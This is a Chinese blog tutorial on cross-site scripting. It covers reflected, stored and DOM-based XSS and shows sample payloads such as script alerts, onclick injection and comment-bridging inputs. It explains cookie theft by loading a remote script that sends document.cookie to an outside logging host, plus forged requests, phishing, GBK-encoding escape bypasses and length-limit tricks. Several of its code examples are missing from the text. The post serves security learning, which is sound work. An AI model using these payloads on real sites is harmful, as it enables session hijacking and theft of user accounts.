XSS

作者: 长毛先生 | 来源:发表于2020-05-13 16:28 被阅读0次

一、XSS的分类

反射形XSS:简单的把用户的输入的数据反射给浏览器,也就是诱使用户点击一个链接才能完成攻击,所以也叫非持续性XSS

一个网页

正常提交http://www.nor.com/1.php?param=测试!  

 网页显示“测试!”

当提交一段代码http://www.nor.com/1.php?param=<script>alert(/xss/)</csript>,网页显示弹窗

存储型XSS:攻击者把用户输入的数据“存储”到服务器,应用场景有,黑客可发布一篇含有恶意Js脚本的博客文章,只要用户浏览博客,都会在他们浏览器执行这段恶意代码。存储型XSS也叫持续性XSS

DOM Based XSS:实际也是反射型XSS,只不过属于特殊的反射型,所单独列出来。该方式是通过修改页面的DOM节点形成的XSS攻击,所以称之为DOM Based XSS

点击“”write“按钮后,会在当前的页面插入一个超链接,地址内容为文本框内容。

所以,当别有用心插入一段代码时,‘onclick=alert(/xss/) //,页面代码变成

以上代码先用单引号闭合href,然后插入onclick,最后//注释后面的内容

另外还可以注释掉<a>标签,攻击形式相似。

二、XSSpayload

当完成XSS攻击后,黑客就能对用户浏览的页面植入恶意脚本,通过脚本,控制用户浏览器。完成这种攻击的脚本,就叫做“XSSpayload”,实际上就是JavaScript

最常见的XSS Payload就是完成Cookie的劫持,例如加载一个远程脚本

加载链接:http://www.text.com/test.html?abc="<script crc=http://www.xspl.com.xsspayload.js></script>"(真正的payload都是写在远程脚本中,避免URL代码参数过长)

当攻击脚本执行的时候,这段代码会插入一张看不见的照片,同时吧document.cookie作为参数对象发送给远程服务器,而脚本中的www.xspl.com/log不一定要存在,当执行脚本的时候,远程服务器web中已经有日志记录。

再利用工具,就能通过cookie登录用户相关网站

当然,并不是所有cookie劫持都有用,当用户网站设定了IP与COOKie绑定,关键cookie植入httpOnly标示。

但是并不是就没有办法了,攻击者仍然有其他方式控制用户浏览器,比如构造GET和POST请求。

比如,假设某博客网站存在XSS漏洞,攻击者就可以通过一张照片发起get请求实现跨站删除博客的操作,前提是知道文章的ID

初次之外,还可以进行POST攻击。攻击者可以通过构建表单(多参数可以用dom节点)或者XMLHttpRequest的方式,发送POST请求。由此,通过JS脚本发起的POST请求模拟浏览器发包,就能完成XSS攻击。

此外,XSS的作用和攻击面还有如下几种:

1、XSS钓鱼攻击:互动型的XSS攻击,一些网站加了动态验证码来阻止XSS,那是不是就没有办法了,并不是,黑客可以构建一些表单,让用户输入当前的验证码,然后就按以上的方法进行再次的XSS。

2、识别用户浏览器:每个用户浏览器和不同版本有自身特征,黑客根据特征来识别浏览器,然后做针对性的攻击行为

3、识别用户已安装软件:识别用户浏览器信息后,可以进行软件识别,某些软件可能存在漏洞,可以用来做攻击点使用,通过问题软件实现攻击目的

三、XSS的构造技巧

利用字符编码

经典案例:baidu在一个<script>中输出一个变量,其中转义了双引号

一般来说不存在XSS,因为变量的双引号用了\转义,变量无法escape。但是baidu用的编码是GBK/GB2312,所以当‘%c1\’这两个字符串在一起后,就变成新的一个Unicode字符,frefox会认为是一个字符构造出

也就是转义字符\被吃掉了,firefox上变成下图,绕过安全检查

绕过长度检查

很多产生XSS漏洞的地方,变量都有长度限制,比如假设以下代码存在XSS漏洞

服务端对var做了长度限制,那么我们可以构造$var为

理想输出效果为

但是,当限制的字符为20个的时候

没有一个完整的函数,所以,这时候攻击者可以利用事件(Event)比如点击事件,来缩短所需字节数,将$var输出为

当加上空格就刚好20个字符,也就是

当用户点击文本框,就自动打开弹窗。显示 1

但是利用事件缩短的字符数有限,最好还是将XSSpayload,通过远程的方式来加载。

比如用“location.hash”的方式

因为loaction的第一个字符必须是#,所以必须除去第一个字符(substr(1))

构造出如下URL,所以只要点击文本框,就会弹出alert页面

此外,当可以控制两个文本框的时候,第二个文本框允许填写更多内容,可以利用HTML的注释符号,将两个文本框之间 的HTML代码打通,从而链接两个<input>标签

在第一个文本框中输入 ‘“><!--

在第二个文本框中输入--><script>alert(/xss/);</script>

最终效果就是

<!-- -->之间的代码全部被注释了,在id=1的文本框中,只用了6个字符。

此外XSS的攻击面和方式还有很多,比如Flash XSS,Anehta回旋镖等等,需要一个个认识体会各自妙用。

相关文章

  • 跨站攻击脚本-XSS

    XSS: Cross Site Scripting XSS 概念 XSS 分类 反射型xss攻击图示 XSS 攻击...

  • XSS payload.

    alert('XSS') alert("XSS") alert('XSS') alert("XSS") S...

  • test

    alert('xss')alert('xss') alert('xss')

  • Django中xss和静态文件的引用(十二)

    一、xss(跨域脚本攻击)的基本介绍 1、xss分类: 反射型xss 存储型xss 2、xss的概念 XSS攻击全...

  • XSS--LOG-1

    XSS总结: xss分为三种,反射型xss,DOM型XSS及存储型XSS,不同类型的XSS的危害不同,有兴趣的...

  • 第三章 XSS 攻击

    要点 XSS 攻击 XSS 防护 一、 XSS攻击 XSS攻击 (Cross-Site Scripting,跨站脚...

  • XSS 与 CSRF 两种跨站攻击

    XSS XSS:跨站脚本(Cross-site scripting) XSS:脚本中的不速之客 XSS 全称“跨站...

  • 网络安全必学知识点之XSS漏洞

    xss漏洞小结 一、初识XSS 1、什么是XSS XSS全称跨站脚本(Cross Site Scripting),...

  • php常见的攻击

    一、跨站点脚本攻击(XSS) XSS介绍: XSS : 跨站脚本(cross site script) XSS是指...

  • XSS-CSRF的bvwa破解

    A-XSS-Reflected 一、XSS:(中级别) 测试payload:“ alert(“xss”) ”:测试...

网友评论

      本文标题:XSS

      本文链接:https://www.haomeiwen.com/subject/tfxbnhtx.html